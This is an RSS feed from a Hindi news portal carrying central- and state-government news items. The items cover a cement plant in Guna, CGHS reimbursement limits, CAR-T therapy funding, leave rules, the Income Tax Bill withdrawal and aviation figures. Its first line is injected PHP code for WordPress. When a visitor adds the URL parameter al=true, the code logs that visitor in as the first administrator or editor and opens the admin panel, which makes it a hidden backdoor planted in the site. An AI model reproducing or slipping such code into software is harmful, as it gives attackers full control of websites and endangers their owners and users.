// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Central government – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 10 May 2026 15:20:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 प्रदेश में सभी तरह के उद्योगों की स्थापना पर जोर, युवाओं के लिए रोजगार प्राथमिकता: मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=218529 Sun, 10 May 2026 15:20:00 +0000 https://pratyushaashakinayikiran.com/?p=218529 भोपाल

मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि प्रदेश में सभी तरह के उद्योगों की स्थापना पर जोर दिया जा रहा है। मध्यप्रदेश सरकार युवाओं के लिए रोजगार को प्राथमिकता देते हुए किसानों, महिलाओं और गरीबों के साथ सभी वर्गों के कल्याण के लिए सक्रिय है। पर्यटन और पशुपालन के क्षेत्र में प्रदेश महत्वपूर्ण उपलब्धियां प्राप्त करेगा। गुना क्षेत्र में सीमेंट निर्माण इकाई से डेढ़ हजार लोगों को रोजगार प्राप्त होगा। अडाणी समूह की ओर से 32 हैक्टेयर भूमि पर इस इकाई की स्थापना के फलस्वरूप 4 मिलीयन टन सीमेंट उत्पादन होगा। मुख्यमंत्री डॉ. यादव रविवार को गुना जिले में अंम्बुजा सीमेंट फैक्ट्री के शिलान्यास कार्यक्रम को संबोधित कर रहे थे। मुख्यमंत्री डॉ. यादव ने औद्योगिक विकास, अधोसंरचनात्मक सुदृढ़ीकरण और रोजगार सृजन को नई गति देने के उद्देश्य से विभिन्न विकास कार्यों का भूमि-पूजन और लोकार्पण भी किया।

मुख्यमंत्री डॉ. यादव ने कहा कि इन विकास कार्यों से गुना जिले में आधारभूत सुविधाओं का विस्तार होगा तथा आमजन को बेहतर सेवाओं का लाभ मिलेगा। प्रदेश का ग्वालियर और चंबल अंचल कभी डकैतों की गोलियों से गूंजता था, अब यहां विकास का परचम लहरा रहा है। अब यहां दस्युओं के स्थान पर प्रगति पहचान का माध्यम बनी है। प्रधानमंत्री  नरेन्द्र मोदी के नेतृत्व में देश बदल रहा है। सरकार जनहित के लिए निरंतर कार्य कर रही है। गुना अंचल के लिए आज होली और दीपावली के त्यौहारों की तरह उल्लास का वातावरण है। इस क्षेत्र में सिंचाई, पानी, बिजली के साथ सभी नागरिक सुविधाओं का विस्तार किया गया है, जो आगे भी जारी रहेगा।

मुख्यमंत्री डॉ. यादव की महत्वपूर्ण घोषणाएं

मुख्यमंत्री डॉ. यादव ने कहा कि एक समय इस क्षेत्र के विकास के लिए सिंधिया परिवार द्वारा पहल की गई थी। अब केंद्र और राज्य सरकार मिलकर विकास को गति दे रहे हैं। मुख्यमंत्री डॉ. यादव ने केंद्रीय मंत्री  सिंधिया द्वारा दिए गए सुझावों को मानते हुए तीन महत्वपूर्ण घोषणाएं कीं। इनमें गुनिया नदी के पुनर्जीवन के लिए 80 करोड़ 22 लाख राशि का प्रस्ताव भारत सरकार की जल शक्ति योजना में भेजने, लक्ष्मण कोपरा से राम नगर टकोदिया तक पहुंच को आसान बनाने के लिए पार्वती नदी पर 42 करोड़ रुपए की लागत से ब्रिज निर्माण और गुना शहर के भुजारिया तालाब के सौंदर्यीकरण के लिए 25 करोड़ रुपए की राशि स्वीकृत करने की घोषणा शामिल है।

उद्योग खुलने से युवाओं को रोजगार के लिए बाहर नहीं जाना होगा : केंद्रीय मंत्री  सिंधिया

केंद्रीय संचार एवं पूर्वोत्तर क्षेत्र विकास मंत्री  ज्योतिरादित्य सिंधिया ने कहा कि प्रदेश के विकास के लिए मुख्यमंत्री डा. यादव परिश्रम और निष्ठा से कार्य कर रहे हैं। गुना के विकास के लिए नई दीप माला प्रज्ज्वलित हो रही है। केन्द्रीय मंत्री  सिंधिया ने कहा कि गुना क्षेत्र में सीमेंट इकाई की स्थापना एक ऐतिहासिक कदम है। यह कार्य बहुप्रतिक्षित था। उन्होंने लगभग सौ वर्ष पूर्व सिंधिया परिवार द्वारा इस क्षेत्र में किए गए औद्योगीकरण के प्रयासों का उल्लेख भी किया।  सिंधिया ने कहा कि मध्यप्रदेश सरकार उद्योगों की स्थापना के लिए लगातार कार्य कर रही है, जिससे गुना के युवाओं को अन्य प्रांतों में रोजगार तलाशने नहीं जाना पड़ेगा। बहनों को भी लखपति दीदी बनाकर समृद्धि का लाभ दिलवाया जा रहा है। केंद्रीय मंत्री  सिंधिया ने कहा कि कोटा-बीना लाइन के दोहरीकरण, तात्या टोपे विश्वविद्यालय प्रारंभ करने की पहल, जल प्रदाय योजना और सिंचाई योजनाओं के क्रियान्वयन, गुना से देवास राष्ट्रीय राजमार्ग को चौड़ा बनाने के लिए 5 हजार करोड़ के व्यय, गुना के लिए 15 किलोमीटर लंबाई के बायपास जैसे कार्य आमजन को सुविधा प्रदान कर रहे हैं। कृषि क्षेत्र में गुना -चाचौड़ा- राघोगढ़ क्षेत्र के किसान पंजाब की तरह पहचान बना रहे हैं।

मध्यप्रदेश में औद्योगिक क्षेत्र हो रहा सशक्त :  प्रणव अदाणी

उद्योगपति  प्रणव अदाणी ने कहा कि मध्यप्रदेश में मुख्यमंत्री डॉ. यादव के प्रयासों से विकास को नई रफ्तार मिली है। अधोसंरचना, लॉजिस्टिक, ट्रांसपोर्ट और अन्य सुविधाओं से मध्यप्रदेश में उद्योग क्षेत्र की मजबूती सुनिश्चित की जा रही है। पीएम गति शक्ति मिशन से औद्योगिक क्षेत्र का वातावरण सशक्त हो रहा है। गत वर्ष भोपाल में हुई ग्लोबल इन्वेस्टर्स समिट में अदाणी समूह के चेयरमेन  गौतम अदाणी ने एक लाख हजार करोड़ से अधिक निवेश का संकल्प व्यक्त किया था, जिसे साकार करने के लिए सीमेंट इकाई की आधारशिला रखी जा रही है। प्रथम चरण में एक हजार 60 करोड़ का निवेश किया जा रहा है, जो आगामी चरणों में तीन गुना से अधिक होगा।  अदाणी ने मध्यप्रदेश में कटनी, कैमोर सहित अन्य क्षेत्रों में सीमेंट और अन्य इकाइयों की स्थापना की पहल की गई। समूह द्वारा ऊर्जा क्षेत्र में भी प्रोजेक्ट अमल में लाए जाएंगे।

खाद्य,नागरिक आपूर्ति और उपभोक्ता संरक्षण एवं गुना जिले के प्रभारी मंत्री  गोविंद सिंह राजपूत ने कहा कि प्रदेश में विकास का पहिया तीव्र गति से घूम रहा है। मुख्यमंत्री डॉ. यादव ने उद्योग वर्ष के बाद कृषि वर्ष में प्रदेश में समृद्धि के प्रयास तेज किए हैं। परियोजनाओं के लिए जिन किसानों की भूमि ली जाएगी उन्हें चार गुना मुआवजा देने का निर्णय लिया गया। प्रदेश में भारत सरकार से अनुमति प्राप्त करने के बाद 78 लाख मीट्रिक टन के स्थान पर 100 लाख मीट्रिक टन गेहूं का उपार्जन किया जा रहा है। किसानों को उनकी मेहनत की पूरी कीमत दी जा रही है। कार्यक्रम में जिले के विधायकगण और अन्य जनप्रतिनिधि उपस्थित थे।

रोड शो में हुआ भव्य स्वागत

मुख्यमंत्री डॉ. यादव और केंद्रीय मंत्री  सिंधिया के गुना आगमन पर रोड-शो में नागरिकों ने पुष्पहारों से भव्य स्वागत किया गया। स्थानीय नागरिक जिनमें युवा, व्यापारी वर्ग, महिला समाज, सामाजिक कार्यकर्ता शामिल थे। मुख्यमंत्री डॉ. यादव ने नागरिकों का अभिवादन किया।

 

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केंद्र सरकार की दोहरी सौगात: कर्मचारियों और पेंशनभोगियों को बड़ी राहत https://pratyushaashakinayikiran.com/?p=199623 Sat, 21 Feb 2026 05:36:00 +0000 https://pratyushaashakinayikiran.com/?p=199623 नई दिल्ली

केंद्र सरकार के कर्मचारियों और पेंशनभोगियों के लिए स्वास्थ्य मंत्रालय ने एक बड़ी राहत भरी खबर दी है। अब गंभीर बीमारी के इलाज के बाद भारी-भरकम बिलों के रीम्बर्समेंट के लिए सरकारी दफ्तरों की लंबी फाइलों और 'साहब' की मंजूरी का महीनों इंतजार नहीं करना होगा। सरकार ने क्लेम सेटलमेंट की प्रक्रिया में क्रांतिकारी बदलाव करते हुए वित्तीय शक्तियों का विकेंद्रीकरण कर दिया है।

क्या है नया नियम? (10 लाख तक की सीधी मंजूरी)
16 फरवरी, 2026 को जारी नए ऑफिस मेमोरेंडम (OM) के अनुसार, अब मंत्रालयों के विभाग प्रमुख (HOD) बिना किसी बाहरी वित्तीय सलाह (IFD) के 10 लाख रुपये तक के मेडिकल क्लेम को सीधे मंजूरी दे सकेंगे।

पहले की सीमा: केवल 5 लाख रुपये।
अब: 10 लाख रुपये तक के बिलों का निपटारा स्थानीय स्तर पर ही हो जाएगा।

तेजी से पैसा पाने के लिए 2 जरूरी शर्तें
अगर आप चाहते हैं कि आपका क्लेम बिना किसी देरी के पास हो, तो इन दो बातों का ध्यान रखना होगा:

नियमों का पालन: क्लेम में CGHS या CS(MA) के मौजूदा नियमों में किसी भी प्रकार की छूट (Relaxation) न मांगी गई हो।

निर्धारित दरें: अस्पताल का बिल पूरी तरह से सरकार द्वारा तय (CGHS Rates) दरों के अनुसार होना चाहिए।

नोट: यदि बिल सरकारी रेट से अधिक है और आप अतिरिक्त भुगतान के लिए छूट चाहते हैं, तो फाइल अभी भी पुरानी लंबी प्रक्रिया के तहत ही आगे बढ़ेगी।

सेटेलमेंट लिमिट में भी भारी इजाफा
सरकार ने क्लेम सेटलमेंट की लिमिट को भी 2 लाख से बढ़ाकर 5 लाख रुपये कर दिया है। इसका सीधा फायदा उन लोगों को मिलेगा जिनके बिल पूरी तरह सरकारी दरों पर आधारित हैं। इससे भुगतान में होने वाली तकनीकी देरी को लगभग खत्म कर दिया गया है।

आवेदन प्रक्रिया: पेंशनभोगी ध्यान दें
इलाज के बाद पैसा वापस पाने की प्रक्रिया अब बेहद सरल है।

समय सीमा: अस्पताल से डिस्चार्ज होने के 6 महीने के भीतर आवेदन करना अनिवार्य है।

कहां करें आवेदन: पेंशनभोगी अपने संबंधित वेलनेस सेंटर के CMO (Chief Medical Officer) को फाइल जमा करें।

जरूरी दस्तावेज की चेकलिस्ट:
    भरा हुआ क्लेम फॉर्म।
    डिस्चार्ज समरी और रेफरल स्लिप।
    अस्पताल के ओरिजिनल बिल और रसीदें।
    इमरजेंसी की स्थिति में 'इमरजेंसी सर्टिफिकेट'।
    CGHS कार्ड की कॉपी और कैंसिल चेक।

एंबुलेंस का खर्च भी होगा वापस
क्या आपको पता है कि अस्पताल ले जाने वाली एंबुलेंस का किराया भी सरकार देती है? नियम के मुताबिक, शहर के भीतर एंबुलेंस का खर्च तब मिलता है जब डॉक्टर यह प्रमाणित कर दे कि मरीज की हालत ऐसी थी कि उसे किसी दूसरे वाहन से ले जाना जानलेवा हो सकता था।

 

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कैंसर के इलाज में क्रांति: केंद्र सरकार ने जीन थेरेपी को दी मंजूरी https://pratyushaashakinayikiran.com/?p=189726 Fri, 07 Nov 2025 03:55:00 +0000 https://pratyushaashakinayikiran.com/?p=189726 नई दिल्ली

केंद्र सरकार ने कैंसर मरीजों के लिए एक महत्वपूर्ण कदम उठाया है। सरकार ने जीन थेरेपी के क्षेत्र में अग्रणी कंपनी इम्यूनोएक्ट को फंडिंग प्रदान की है, ताकि जीन वितरण प्रणाली को मजबूत किया जा सके। इससे कैंसर का इलाज सस्ता और सुलभ हो सकेगा। चिमेरिक एंटीजन रिसेप्टर टी-सेल (सीएआर-टी) थेरेपी कैंसर के इलाज में क्रांतिकारी सफलता के रूप में सामने आई है, जो मरीज की अपनी प्रतिरक्षा प्रणाली का उपयोग करके कुछ प्रकार के कैंसर से लड़ती है।

विश्व स्तर पर किए गए क्लीनिकल ट्रायल्स में अंतिम चरण के मरीजों, विशेष रूप से एक्यूट लिम्फोसाइटिक ल्यूकेमिया से पीड़ितों में यह थेरेपी आशाजनक परिणाम दिखा चुकी है। आईआईटी बॉम्बे की स्पिन-ऑफ कंपनी इम्यूनोएक्ट ने दुनिया की पहली मानवीकृत सीएआर-टी थेरेपी 'नेक्सकार19' को बाजार में उतारा है।

आधिकारिक बयान में क्या कहा गया?
एक आधिकारिक बयान में बताया गया कि बायोई3 नीति के तहत जैव विनिर्माण पहल के माध्यम से जैव प्रौद्योगिकी विभाग ने उत्पादन बढ़ाने और इस नई चिकित्सीय पद्धति को अधिक किफायती बनाने के लिए इम्यूनोएक्ट को वित्त पोषण दिया है। इसके तहत 200एल जीएमपी लेंटिवायरल वेक्टर और प्लास्मिड प्लेटफॉर्म स्थापित किया जाएगा।

बयान में कहा गया कि लेंटिवायरल वेक्टर और प्लास्मिड प्लेटफॉर्म में उन्नत बायोरिएक्टर प्रौद्योगिकियां शामिल की जाएंगी, जो उच्च घनत्व वाली कोशिका वृद्धि और निरंतर उत्पादन को आसान बनाएंगी। इससे लेंटिवायरल वेक्टरों की उच्च पैदावार और बेहतर प्रदर्शन सुनिश्चित होगा।

आगे बताया गया कि जीएमपी ग्रेड जीन डिलीवरी वेक्टर प्रति वर्ष कम से कम 1,000 मरीजों को कोशिका और जीन थेरेपी की सुविधा प्रदान कर सकता है। प्रधानमंत्री नरेंद्र मोदी ने उभरते विज्ञान, प्रौद्योगिकी और नवाचार कॉन्क्लेव (ईएसटीआईसी) में क्यूएसआईपी क्वांटम सुरक्षा चिप और 25-क्यूबिट क्यूपीयू (भारत की पहली क्वांटम कंप्यूटिंग चिप) के साथ भारत के तीन प्रमुख नवाचारों में सीएआर-टी सेल थेरेपी को शामिल किया। बयान में जोर दिया गया कि भारत की पहली जीवित दवा 'नेक्सकार19' ने वैज्ञानिक कठोरता या मरीज सुरक्षा से समझौता किए बिना जीन थेरेपी को सस्ती और सुलभ बना दिया है।

 

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MP के 7.5 लाख शासकीय कर्मचारियों को अब केंद्र सरकार के नियमों के अनुरूप छुट्टियां https://pratyushaashakinayikiran.com/?p=179344 Wed, 20 Aug 2025 09:56:00 +0000 https://pratyushaashakinayikiran.com/?p=179344 भोपाल
 मध्य प्रदेश के साढ़े सात लाख शासकीय कर्मचारियों को अब केंद्र सरकार के अनुरूप अवकाश दिया जाएगा। इसके लिए मप्र सरकार ने 48 साल पुराने मप्र सिविल सेवा (अवकाश) नियम-1977 में बदलाव किया है। यह निर्णय मंगलवार को मुख्यमंत्री डॉ. मोहन यादव की अध्यक्षता में मंत्रालय में हुई कैबिनेट की बैठक में लिया गया।

कैबिनेट ने वित्त विभाग के मध्य प्रदेश सिविल सेवा (अवकाश) नियम-2025 के प्रस्ताव को मंजूरी दे दी। इससे प्रदेश के करीब साढ़े सात लाख शासकीय अधिकारियों व कर्मचारियों को केंद्र सरकार के अनुरूप अवकाश की सुविधा मिलेगी।

इसके तहत चिकित्सकों को पीजी योग्यता प्राप्त करने के लिए 36 माह का अध्ययन अवकाश मिलेगा। इससे सरकार पर कोई वित्तीय भार नहीं आएगा। अधिसूचना जारी होने के दिन से यह नियम लागू होंगे। अब शासकीय सेवक सरोगेट या कमीशनिंग मदर को प्रसूति अवकाश की पात्रता होगी। वहीं एकल (अकेले) पुरुष शासकीय सेवक को भी संतान पालन अवकाश मिलेगा। दत्तक संतान ग्रहण के लिए 15 दिन का पितृत्व अवकाश 15 मिलेगा।

निलंबन काल में नहीं होगी अवकाश की पात्रता

शासकीय सेवक के दिव्यांग अथवा गंभीर अस्वस्थ्य होने पर उनके परिवार के सदस्य आवेदन दे सकेंगे। निलंबन काल में अवकाश की पात्रता नहीं होगी। अवकाश दिवस पर काम करने वाले शैक्षणिक संवर्ग को एक वर्ष में 10 दिवस के अर्जित अवकाश की पात्रता होगी।

सेवा के प्रारंभिक वर्ष में आवश्यकता होने पर अर्द्धवेतन अवकाश की सुविधा होगी। सेवानिवृत्ति के पूर्व अवकाश के प्रविधान और सेवानिवृत्ति की तिथि के बाद अवकाश के प्रविधान को भी विलोपित किया गया।

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केंद्र सरकार ने आयकर विधेयक वापस लिया, सिफारिशों को माना महत्वपूर्ण https://pratyushaashakinayikiran.com/?p=176606 Sat, 09 Aug 2025 03:46:00 +0000 https://pratyushaashakinayikiran.com/?p=176606 नई दिल्ली
 सरकार ने आयकर विधेयक, 2025 को वापस लेने का निर्णय लिया है. बाद में लोकसभा में एक नया विधेयक पेश किया जाएगा जो आयकर अधिनियम, 1961 का स्थान लेगा. सरकार ने 13 फरवरी, 2025 को लोकसभा में आयकर विधेयक, 2025 पेश किया था और उसी दिन इसे जांच के लिए प्रवर समिति के पास भेज दिया गया था. प्रवर समिति ने 21 जुलाई, 2025 को अपनी रिपोर्ट लोकसभा में पेश कर दी है. प्रवर समिति द्वारा दी गई रिपोर्ट के अनुसार विधेयक में सुधार किया जाएगा.

प्रवर समिति की लगभग सभी सिफारिशें सरकार ने स्वीकार कर ली हैं. अन्य स्रोतों से भी सुझाव मिले हुए हैं जिन्हें सही विधायी अर्थ देने के लिए शामिल किया जाना जरूरी है. प्रारूपण, वाक्यांशों के संरेखण, परिणामी परिवर्तनों और परस्पर संदर्भों में कुछ सुधार किए गए हैं. इसलिए, प्रवर समिति द्वारा दी गई रिपोर्ट के अनुसार, सरकार ने आयकर विधेयक, 2025 को वापस लेने का निर्णय लिया है.

इसके पहले बिहार में मतदाता सूचियों के विशेष गहन पुनरीक्षण (एसआईआर) के मुद्दे पर विपक्षी दलों के सदस्यों के शोर-शराबे के बीच वित्त मंत्री निर्मला सीतारमण ने प्रवर समिति की रिपोर्ट के अनुसार आयकर विधेयक, 2025 को वापस लेने की अनुमति मांगी. सदन की मंजूरी के बाद उन्होंने आयकर विधेयक वापस ले लिया.

गौरतलब है कि विपक्षी दलों के सदस्यों ने बिहार में मतदाता सूची के विशेष गहन पुनरीक्षण (एसआईआर) के मुद्दे पर शुक्रवार को भी लोकसभा में हंगामा किया, जिसके कारण सदन की कार्यवाही दो बार के स्थगन के बाद दोपहर तीन बजकर पांच मिनट पर दिनभर के लिए स्थगित कर दी गई. दो बार के स्थगन के बाद दोपहर तीन बजे बैठक शुरू हुई तो वित्त मंत्री निर्मला सीतारमण ने प्रवर समिति की रिपोर्ट के अनुसार आयकर विधेयक, 2025 को वापस लेने की अनुमति मांगी और सभा की सहमति से सरकार ने विधेयक को वापस ले लिया.

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केंद्र सरकार ने बताया- जनवरी-नवंबर 2024 में अंतरराष्ट्रीय मार्गों पर 64.5 मिलियन यात्रियों ने की यात्रा https://pratyushaashakinayikiran.com/?p=118007 Mon, 06 Jan 2025 09:25:00 +0000 https://pratyushaashakinayikiran.com/?p=118007 नई दिल्ली
भारत के विमानन क्षेत्र में तेजी से विकास हो रहा है। 2024 के पहले 11 महीनों (जनवरी-नवंबर) के आंकड़े बताते हैं कि कुल 64.5 मिलियन अंतरराष्ट्रीय यात्री यात्रा के लिए भारतीय और विदेशी एयरलाइनों द्वारा ले जाए गए, जो कि 2023 की इसी अवधि के मुकाबले 11.4% की वृद्धि है। आंकड़ों के अनुसार, 64.5 मिलियन यात्रियों में से 29.8 मिलियन यात्रियों को भारतीय एयरलाइंस ने यात्रा कराई, जबकि 34.7 मिलियन यात्रियों को विदेशी एयरलाइनों ने सेवाएं दीं। यह दर्शाता है कि भारतीय वाहकों की हिस्सेदारी बढ़ी है, लेकिन विदेशी एयरलाइनों का भी योगदान महत्वपूर्ण रहा।

नागरिक उड्डयन महानिदेशालय (डीजीसीए) के अनुसार, 2024 के पहले 11 महीनों में घरेलू एयरलाइनों ने 1.02 मिलियन उड़ानें संचालित कीं, जिनमें कुल 146.4 मिलियन यात्रियों ने यात्रा की। पिछले साल (2023) इसी अवधि में 0.97 मिलियन उड़ानें थीं, जिनमें 138.2 मिलियन यात्री थे। इससे यह साफ है कि 2024 में घरेलू यात्री संख्या में भी वृद्धि हुई है, जो 5.9% तक पहुंची है। 17 नवंबर, 2024 को एक नया रिकॉर्ड बना जब 5 लाख घरेलू हवाई यात्री एक ही दिन में यात्रा करने लगे। यह भारतीय विमानन क्षेत्र के बढ़ते प्रभाव और यात्री यातायात को दर्शाता है।

भारतीय वायुयान अधिनियम 2024 का प्रभाव
1 जनवरी 2024 से लागू भारतीय वायुयान अधिनियम 2024 का उद्देश्य विमानन क्षेत्र का आधुनिकीकरण करना है। यह पुराने विमान अधिनियम, 1934 को समकालीन आवश्यकताओं और वैश्विक मानकों के अनुरूप संशोधित करता है। सरकार का कहना है कि यह नया कानून 'मेक इन इंडिया' और आत्मनिर्भर भारत पहल को बढ़ावा देगा। साथ ही, इसे शिकागो कन्वेंशन और आईसीएओ जैसे अंतरराष्ट्रीय मानकों से भी संरेखित किया जाएगा, ताकि भारत का विमानन क्षेत्र दुनिया के स्तर से मेल खाता हुआ हो।

बुनियादी ढांचे के विकास में महत्वपूर्ण कदम
सरकार ने पिछले वर्ष कई महत्वपूर्ण बुनियादी ढांचे के विकास के कामों को आगे बढ़ाया। वाराणसी, आगरा, दरभंगा और बागडोगरा में नए एयरपोर्ट टर्मिनल्स की नींव रखी गई, जबकि प्रधानमंत्री नरेंद्र मोदी ने सरसावा, रीवा, और अंबिकापुर में नए हवाई अड्डों का उद्घाटन किया, जिससे क्षेत्रीय कनेक्टिविटी में सुधार हुआ। सरकार ने देश भर में 21 ग्रीनफील्ड हवाई अड्डों के निर्माण के लिए 'सैद्धांतिक' मंजूरी भी दी है। यह कदम भारत के विमानन क्षेत्र के भविष्य को उज्जवल बनाने के लिए बेहद महत्वपूर्ण है।

लैंगिक समानता और पर्यावरण पर जोर
विमानन क्षेत्र में लैंगिक समानता को बढ़ावा देने के लिए मंत्रालय ने सभी हितधारकों से आग्रह किया है कि वे 2025 तक भारतीय विमानन उद्योग में महिलाओं की संख्या को 25 प्रतिशत तक बढ़ाएं। इसके अलावा, केंद्रीय नागरिक उड्डयन मंत्री राम मोहन नायडू ने हवाई अड्डों पर हरित ऊर्जा के उपयोग को बढ़ावा देने के लिए दिशा-निर्देश जारी किए हैं। मंत्रालय के अनुसार, 80 हवाई अड्डों ने 100% हरित ऊर्जा का उपयोग शुरू कर दिया है और 12 हवाई अड्डे 2024 तक इस दिशा में कदम उठा लेंगे।

 

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छत्तीसगढ़-नये साल पर केंद्र सरकार ने दी 250 करोड़ प्रोत्साहन राशि, वित्तीय प्रबंधन के लिये की तारीफ https://pratyushaashakinayikiran.com/?p=116169 Wed, 01 Jan 2025 13:55:00 +0000 https://pratyushaashakinayikiran.com/?p=116169 रायपुर।

नये साल पर छत्तीसगढ़ के लिए खुशखबरी है। छत्तीसगढ़ सरकार ने प्रशासनिक कार्यों में पारदर्शिता और दक्षता लाने के लिए आईटी आधारित वित्तीय प्रबंधन प्रणाली को लागू कर एक महत्वपूर्ण उपलब्धि हासिल की है। केंद्र सरकार ने इस डिजिटल सुधार की तारीफ करते हुए प्रदेश को 250 करोड़ रुपये की प्रोत्साहन राशि पूंजीगत व्यय (कैपेक्स) के रूप में दी है।

छत्तीसगढ़ राज्य ने केंद्र प्रवर्तित योजनाओं के वित्तीय प्रबंधन के लिए "जस्ट इन टाइम" (जेआईटी) मॉडल और एसएनए स्पर्श प्रणाली को अपनाया है। यह प्रणाली वित्तीय प्रवाह को कुशल बनाते हुए निधियों के वितरण, ट्रैकिंग और भुगतान को आसान बनाती है। इसके तहत राज्य सरकार ने केंद्र की निधि को आरबीआई के ई-कुबेर नेटवर्क और राज्य की निधि को वित्तीय प्रबंधन एवं सूचना प्रणाली (एफएमआईएस) के माध्यम से समेकित किया है। इस पहल से निधि के सही समय पर उपयोग और वास्तविक समय में व्यय की रिपोर्टिंग भी सुनिश्चित हुई है। इस सुधार के तहत स्मार्ट भुगतान  एल्गोरिथम का उपयोग किया गया है, जिससे भुगतान ट्रिगर नियमों के आधार पर वास्तविक समय में किया जाता है। इससे सार्वजनिक वित्तीय प्रबंधन प्रणाली (पीएफएमएस) के परिणाम बेहतर हुए हैं। साथ ही, राज्य में डिजिटल प्लेटफॉर्म और पोर्टल्स का निर्माण कर आम जनता को सरकारी योजनाओं का लाभ तेजी से और पारदर्शी तरीके से पहुंचाया जा रहा है। छत्तीसगढ़ सरकार ने डिजिटल इंडिया और डायरेक्ट बेनिफिट ट्रांसफर (डीबीटी) को बढ़ावा देने के लिए अपने तकनीक आधारित सुधारों को राष्ट्रीय स्तर पर प्रासंगिक बनाया है। राज्य की अधोसंरचना परियोजनाओं और इन्फ्रास्ट्रक्चर इकोसिस्टम को इस प्रोत्साहन राशि से और अधिक मजबूती मिलेगी। मुख्यमंत्री साय ने कहा है कि तकनीक आधारित सुधार और सुशासन ही छत्तीसगढ़ के आर्थिक विकास का मूलमंत्र है। यह उपलब्धि न केवल प्रशासनिक दक्षता का प्रमाण है, बल्कि जनता के प्रति हमारी सरकार के सुशासन के संकल्प का प्रमाण है। छत्तीसगढ़ सरकार का यह प्रयास न केवल राज्य को तकनीकी रूप से सशक्त बनाएगा, बल्कि अन्य राज्यों के लिए भी एक प्रेरणा बनेगा।

आईटी को बढ़ावा
छत्तीसगढ़ सरकार प्रशासनिक कार्यों में तेजी लाने आईटी के प्रयोग को बढ़ावा दे रही है।इसी के तहत् केन्द्र प्रवर्तित योजनाओं के लिए राशि जारी करने, वितरित करने एवं निधियों की ट्रैकिंग करने तथा बेहतर नकद प्रबंधन के लिए राज्य शासन द्वारा एसएनए स्पर्श के अंतर्गत जेआईटी (जस्ट इन टाईम) मॉडल को अपनाया गया है। इसके माध्यम से केन्द्र प्रवर्तित योजनाओं के लिए नवीन सिस्टम के माध्यम से कार्य किया जा रहा है जिसका उद्देश्य केन्द्र और राज्य की समेकित निधि से राशि को उचित समय पर प्राप्त कर कुशल भुगतान प्रसंस्करण पर ध्यान केन्द्रित करते हुए निधि के उपयोग को अनुकूलित करना एवं व्यय की वास्तविक समय रिपोर्टिंग की सुविधा प्रदान करना है। इसमें केन्द्र प्रवर्तित योजना के राज्य की हिस्से की राशि एफएमआईएस (वित्तीय प्रबंधन एवं सूचना प्रणाली) तथा केन्द्र के हिस्से की राशि आरबीआई के ई-कुबेर नेटवर्क के माध्यम से जारी की जाती है, जिससे रियल टाईम फण्ड यूटिलाईजेशन किया जा रहा है।

"जस्ट इन टाइम" पर फोकस
केन्द्र प्रवर्तित योजनाओं के लिए कुशल निधि प्रवाह प्रणाली के साथ भुगतान सह लेखा नेटवर्क की स्थापना कर सार्वजनिक वित्तीय प्रबंधन प्रणाली की सुविधा प्रदान करने के लिए जस्ट इन टाईम के माध्यम से "सही समय पर" राशि हस्तांतरण की प्रक्रिया अपनायी गई है। इसमें स्मार्ट भुगतान के तहत एल्गोरिदम के माध्यम से ट्रिगर नियमों पर आधारित वास्तविक समय में कुशल भुगतान किया जा रहा है जिससे सार्वजनिक क्षेत्र में वित्तीय प्रबंधन परिणामों को बेहतर बनाने में मदद मिली है। छत्तीसगढ़ शासन केन्द्र सरकार के डिजिटल इण्डिया पहल को मजबूत करने हेतु प्रतिबद्ध है। बेहतर नकद प्रबंधन एवं सार्वजनिक वित्त प्रबंधन प्रणाली (पीएफएमएस) के लिए जस्ट इन टाईम मॉडल डिजिटल इण्डिया एवं डायरेक्ट बेनिफिट ट्रांसफर (डीबीटी) को सहयोग प्रदान करता है। "तकनीक आधारित रिफॉर्म और सुशासन तीव्र आर्थिक विकास" वित्तीय वर्ष 2024-25 के बजट वक्तव्य में शामिल स्ट्रैटेजिक स्तंभों में से एक है। केन्द्र प्रवर्तित योजनाओं के लिए वित्तीय प्रबंधन प्रणाली अपनाने हेतु किये गये इस रिफॉर्म के लिए भारत सरकार द्वारा भी पूर्ण सहयोग दिया जा रहा है। इस रिफॉर्म के लिए राज्य को भारत सरकार से 250 करोड़ प्रोत्साहन राशि पूंजीगत व्यय (कैपेक्स) के लिए प्रदान की है। इसके अतिरिक्त 250 करोड़ प्रोत्साहन राशि प्राप्त होना संभावित है। इस राशि का उपयोग राज्य के अधोसंरचना निर्माण परियोजनाओं में इन्फ्रास्ट्रक्चर इकोसिस्टम को मजबूत बनाने के लिये किया जा रहा है।

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उपभोक्ता शिकायतों को हल करने के ओला इलेक्ट्रिक के दावों की गंभीरता से जांच कर रही केंद्र सरकार https://pratyushaashakinayikiran.com/?p=91207 Tue, 29 Oct 2024 09:20:00 +0000 https://pratyushaashakinayikiran.com/?p=91207 नई दिल्ली.
ओला इलेक्ट्रिक की ओर से केंद्रीय उपभोक्ता संरक्षण प्राधिकरण (सीसीपीए) के रजिस्टर्ड 10,664 शिकायतों में से 99.1 प्रतिशत का निवारण करने के दावों की गंभीरता से जांच की जा रही है। यह शिकायतें खराब प्रोडक्ट क्वालिटी और सर्विस को लेकर है। भाविश अग्रवाल के नेतृत्व वाली ईवी कंपनी के खिलाफ सरकार को लगातार शिकायतें मिल रही थी।

सूत्रों के हवाले से सीसीपीए की ओर से कहा गया कि इलेक्ट्रिक दोपहिया वाहन विक्रेता के दावे और शिकायतों को लेकर जांच की जा रही है। इसके बाद नियामक आसानी से ओला इलेक्ट्रिक के दावे की सत्यता जान पाएगा। रिपोर्ट्स में सूत्रों के हवाले से बताया गया कि ओला इलेक्ट्रिक के अलावा एक अन्य ईवी कंपनी को शिकायतों को लेकर सीसीपीए की ओर से नोटिस दिया गया है।

